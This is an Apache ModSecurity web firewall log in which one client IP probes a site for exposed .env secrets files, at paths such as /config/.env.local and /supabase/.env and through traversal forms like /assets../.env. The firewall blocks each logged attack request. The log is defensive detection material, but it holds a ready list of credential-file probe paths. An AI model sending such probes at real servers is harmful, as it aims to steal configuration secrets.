[Mon Oct 26 10:03:27.714030 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at9drwt8dJFpdHay4jzKjgAAAAA"]
[Mon Oct 26 10:03:27.714176 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at9drwt8dJFpdHay4jzKjgAAAAA"]
[Mon Oct 26 10:03:27.714406 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at9drwt8dJFpdHay4jzKjgAAAAA"]
[Mon Oct 26 10:03:27.716759 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at9dr7GXTlA520hhAgG8AQAAAA8"]
[Mon Oct 26 10:03:27.716908 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at9dr7GXTlA520hhAgG8AQAAAA8"]
[Mon Oct 26 10:03:27.717135 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at9dr7GXTlA520hhAgG8AQAAAA8"]
[Mon Oct 26 10:03:27.767786 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at9dr09qPMNS87qzj5gkPAAAABE"]
[Mon Oct 26 10:03:27.777027 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at9dr09qPMNS87qzj5gkPAAAABE"]
[Mon Oct 26 10:03:27.777576 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at9dr09qPMNS87qzj5gkPAAAABE"]
[Mon Oct 26 10:03:27.771142 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at9dr7cZuT5gdeNd6aUKCQAAAAs"]
[Mon Oct 26 10:03:27.777995 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at9dr7cZuT5gdeNd6aUKCQAAAAs"]
[Mon Oct 26 10:03:27.778171 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker-compose.production.yml"] [unique_id "at9drwt8dJFpdHay4jzKjwAAAAA"]
[Mon Oct 26 10:03:27.778194 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker-compose.production.yml"] [unique_id "at9drwt8dJFpdHay4jzKjwAAAAA"]
[Mon Oct 26 10:03:27.778228 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at9dr7cZuT5gdeNd6aUKCQAAAAs"]
[Mon Oct 26 10:03:27.774806 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at9dr9dWtrCZuT8sbNQ5egAAACU"]
[Mon Oct 26 10:03:27.778634 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at9dr9dWtrCZuT8sbNQ5egAAACU"]
[Mon Oct 26 10:03:27.779137 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at9dr9dWtrCZuT8sbNQ5egAAACU"]
[Mon Oct 26 10:03:27.898534 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api"] [unique_id "at9dr7cZuT5gdeNd6aUKCwAAAAs"]
[Mon Oct 26 10:03:27.899016 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api"] [unique_id "at9dr7cZuT5gdeNd6aUKCwAAAAs"]
[Mon Oct 26 10:03:27.899296 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api"] [unique_id "at9dr7cZuT5gdeNd6aUKCwAAAAs"]
[Mon Oct 26 10:03:27.900427 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b0wAAAAc"]
[Mon Oct 26 10:03:27.900468 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b0wAAAAc"]
[Mon Oct 26 10:03:27.900530 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b0wAAAAc"]
[Mon Oct 26 10:03:27.900601 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at9dr09qPMNS87qzj5gkPgAAABE"]
[Mon Oct 26 10:03:27.900656 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b0wAAAAc"]
[Mon Oct 26 10:03:27.900778 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at9dr09qPMNS87qzj5gkPgAAABE"]
[Mon Oct 26 10:03:27.900893 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/assets../.env"] [unique_id "at9dr7nmpHTSsAiKbb2b0wAAAAc"]
[Mon Oct 26 10:03:27.901039 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at9dr09qPMNS87qzj5gkPgAAABE"]
[Mon Oct 26 10:03:27.902044 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at9dr8fzpoBm8xCXttklTgAAABA"]
[Mon Oct 26 10:03:27.902203 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at9dr8fzpoBm8xCXttklTgAAABA"]
[Mon Oct 26 10:03:27.902740 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at9dr8fzpoBm8xCXttklTgAAABA"]
[Mon Oct 26 10:03:27.905014 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9drwt8dJFpdHay4jzKkQAAAAA"]
[Mon Oct 26 10:03:27.905055 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9drwt8dJFpdHay4jzKkQAAAAA"]
[Mon Oct 26 10:03:27.905100 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9drwt8dJFpdHay4jzKkQAAAAA"]
[Mon Oct 26 10:03:27.905252 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9drwt8dJFpdHay4jzKkQAAAAA"]
[Mon Oct 26 10:03:27.905473 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9drwt8dJFpdHay4jzKkQAAAAA"]
[Mon Oct 26 10:03:27.914998 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJgAAAA4"]
[Mon Oct 26 10:03:27.915043 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJgAAAA4"]
[Mon Oct 26 10:03:27.915090 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9dr4kBAlsUe0HxPuSmJgAAAA4"]
